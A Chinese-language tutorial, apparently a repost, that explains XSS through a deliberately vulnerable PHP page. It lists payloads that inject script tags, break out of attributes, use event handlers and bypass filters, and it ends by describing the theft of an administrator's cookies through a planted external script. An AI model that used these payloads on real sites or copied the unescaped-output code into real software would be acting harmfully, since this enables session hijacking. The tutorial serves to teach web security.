计算机网站建设开题报告,营销加盟网站建设,临沂网站建设企业,网络设计与规划实验报告参看#xff1a; XSS的原理分析与解剖 前端安全 -- XSS攻击 web大前端开发中一些常见的安全性问题 1、前言 XSS 是面试时#xff0c;hr提出来给我的#xff0c;然后大体的浏览一遍#xff0c;今天才查阅资料大体了解了它。 XSS 攻击#xff1a;攻击者向HTML页面传入恶意的… 参看 XSS的原理分析与解剖 前端安全 -- XSS攻击 web大前端开发中一些常见的安全性问题 1、前言 XSS 是面试时hr提出来给我的然后大体的浏览一遍今天才查阅资料大体了解了它。 XSS 攻击攻击者向HTML页面传入恶意的HTML或JS代码当用户浏览该页面时恶意代码执行达到攻击的目的。 2、原理实现 在本地搭建PHP环境使用phpstudy安装然后在index.php文件中输入一下代码 !DOCTYPE html
html
headmeta http-equivContent-Type contenttext/html; charsetutf-8 / titleXSS原理重现/title
/head
body
form action methodgetinput typetext namexss_inputinput typesubmit
/form
hr
?phpheader(X-XSS-Protection: 0); // 0 表示关闭浏览器的XSS防护机制error_reporting(0); // 加上error_reporting(0);就不会弹出警告了$xss $_GET[xss_input];echo h5你输入的字符为/h5br /.$xss;
?
/body
/html 现在在输入框中输入abc普通字符串然后在页面中显示 之后查看页面代码就会发现页面上多了一行代码 !DOCTYPE html
html
headmeta http-equivContent-Type contenttext/html; charsetutf-8 / titleXSS原理重现/title
/head
body
form action methodgetinput typetext namexss_inputinput typesubmit
/form
hr/*------多了的代码123-------*/
h5你输入的字符为/h5br /123/body
/html 此时我要是在输入scriptalert(xss)/script这种可以被解析的代码时 现在页面就显现出xss漏洞了。 之后查看页面代码就会发现页面上多了一行代码 !DOCTYPE html
html
headmeta http-equivContent-Type contenttext/html; charsetutf-8 / titleXSS原理重现/title
/head
body
form action methodgetinput typetext namexss_inputinput typesubmit
/form
hr
/*------多了的代码scriptalert(xss)/script-------*/
// 代码出现在 br标签 和 body标签中
h5你输入的字符为/h5br /scriptalert(xss)/script/body
/html 3、xss利用输出环境来构造代码 现在我要改变 xss 攻击 以上测试是在标签中插入scrpit标签达到攻击的目的现在我想要在html页面标签的属性中插入xss攻击代码。因此当你我输入scriptalert(xss)/script不会显示出弹框了。 3.1测试代码 !DOCTYPE html
htmlheadmeta http-equivContent-Type contenttext/html; charsetutf-8 /titleXSS利用输出的环境来构造代码/title
/headbodycenterh6把我们输入的字符串 输出到input里的value属性里/h6form action methodgeth6请输入你想显现的字符串/h6input typetext namexss_input_value value输入brinput typesubmit/formhr?phpheader(X-XSS-Protection: 0);error_reporting(0);//加上error_reporting(0);就不会弹出警告了 $xss $_GET[xss_input_value];if(isset($xss)){echo input typetext value.$xss.;}else{echo input typetype value输出;}?/center
/body/html 页面效果 3.2 输入一 当我在输入框输入qwer字符串时会在输出框显示我输入的字符串 此时网页代码 centerh6把我们输入的字符串 输出到input里的value属性里/h6form action methodgeth6请输入你想显现的字符串/h6input typetext namexss_input_value value输入brinput typesubmit/formhrinput typetext valueqwer /center 3.3输入二 现在我输入scriptalert(xss)/script字符串正常输入明显的可以看到并没有弹出对话框 此时网页代码 bodycenterh6把我们输入的字符串 输出到input里的value属性里/h6form action methodgeth6请输入你想显现的字符串/h6input typetext namexss_input_value value输入brinput typesubmit/formhrinput typetext valuescriptalert(xss)/script /center
/body 分析输出代码 input typetext valuescriptalert(xss)/script /center 3.4 输入三 如果我输入就会变成 input typetext value /center input提前闭合了之后的就被舍弃了变成了普通文本。 3.5 输入四 如果我输入scriptalert(xss)/script 显示效果 3.6 输入五 现在我不想显示弹框攻击了我想触发某种事件实现攻击那么就输入以下内容 οnmοusemοvealert(我就测试一下) 显示结果 页面代码 centerh6把我们输入的字符串 输出到input里的value属性里/h6form action methodgeth6请输入你想显现的字符串/h6input typetext namexss_input_value value输入brinput typesubmit/formhrinput typetext value onmousemovealert(我就测试一下) /center 说明输入以后鼠标在移动是触发事件形成xss攻击。 那么我在textarea 标签中显示呢 此时就这样输入 /textarea scriptalert(‘xss’)/script // 就可以实现弹窗了 4、过滤的解决办法 假如说网站禁止过滤了script 这时该怎么办呢 那么就需要记住只要页面能触发你的js代码 有哪些方法呢 !-- 当找不到图片名为1的文件时执行alert(xss) --
img scr1 onerroralert(xss) !-- 点击s时运行alert(xss) --
a hrefjavascrip:alert(xss)s/a !-- 利用iframe的scr来弹窗 --
iframe srcjavascript:alert(xss);height0 width0 /iframe!-- 过滤了alert来执行弹窗 --
img src1 onerroreval(\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29)/img 5、xss的利用 script scrjs_url/scriptimg srcx onerrorappendChild(createElement(script)).srcjs_url / 比如我们在网站的留言区输入script scr”js_url”/script 当管理员进后台浏览留言的时候就会触发 然后管理员的cookies和后台地址还有管理员浏览器版本等等 你都可以获取到了再用“桂林老兵cookie欺骗工具”来更改你的cookies 就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。转载于:https://www.cnblogs.com/houfee/p/11138398.html